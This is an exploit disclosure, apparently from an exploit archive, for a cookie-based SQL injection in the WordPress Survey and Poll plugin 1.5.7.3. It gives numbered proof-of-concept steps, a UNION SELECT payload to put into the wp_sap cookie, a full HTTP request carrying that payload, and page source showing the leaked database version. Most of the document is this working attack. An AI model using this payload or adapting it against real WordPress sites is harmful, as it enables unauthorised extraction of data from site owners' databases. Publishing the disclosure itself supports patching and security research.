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WordPress Survey And Poll 1.5.7.3 SQL Injection

WordPress Survey And Poll 1.5.7.3 SQL Injection
Posted Sep 14, 2018
Authored by Ceylan Bozogullarindan

WordPress Survey and Poll plugin version 1.5.7.3 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | ec78593c5c35b39a6cdcccb35f3b890f

WordPress Survey And Poll 1.5.7.3 SQL Injection

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# Exploit Title: Wordpress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection
# Date: 2018-09-09
# Exploit Author: Ceylan Bozogullarindan
# Vendor Homepage: http://modalsurvey.pantherius.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip
# Version: 1.5.7.3
# Tested on: Windows 10
# CVE: N\A

# Description
# The vulnerability allows an attacker to inject sql commands using a value of a cookie parameter.

# PoC
# Step 1. When you visit a page which has a poll or survey, a question will be appeared for answering.
# Answer that question.
# Step 2. When you answer the question, wp_sap will be assigned to a value. Open a cookie manager,
# and change it with the payload showed below;

["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]

# It is important that the "OR" statement must be 1=2. Because, application is reflecting the first result
# of the query. When you make it 1=1, you should see a question from firt record.
# Therefore OR statement must be returned False.

# Step 3. Reload the page. Open the source code of the page. Search "sss_params".
# You will see the version of DB in value of sss_params parameter.

# The Request

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# The result from source code of the page

<script type='text/javascript'>
/* <![CDATA[ */
var sss_params = {"survey_options":"{\"options\":\"[\\\"center\\\",\\\"easeInOutBack\\\",\\\"\\\",\\\"-webkit-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-moz-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-ms-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);-o-linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);linear-gradient(top , rgb(5, 40, 242) 13% , rgb(204, 204, 204) 70%);\\\",\\\"rgb(0, 0, 0)\\\",\\\"rgb(93, 93, 93)\\\",\\\"1\\\",\\\"5\\\",\\\"12\\\",\\\"10\\\",\\\"12\\\",500,\\\"Thank you for your feedback!\\\",\\\"0\\\",\\\"0\\\",\\\"0\\\"]\",\"plugin_url\":\"http:\\\/\\\/www.*****.com\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/www.******.com\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"1101225978\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"Are You A First Time Home Buyer?\",\"Yes\",\"No\"],[\>>>>>>"10.1.36-MariaDB-1~trusty\"<<<<<<<]]}"};
/* ]]> */
</script>

DB version: "10.1.36-MariaDB-1~trusty"....

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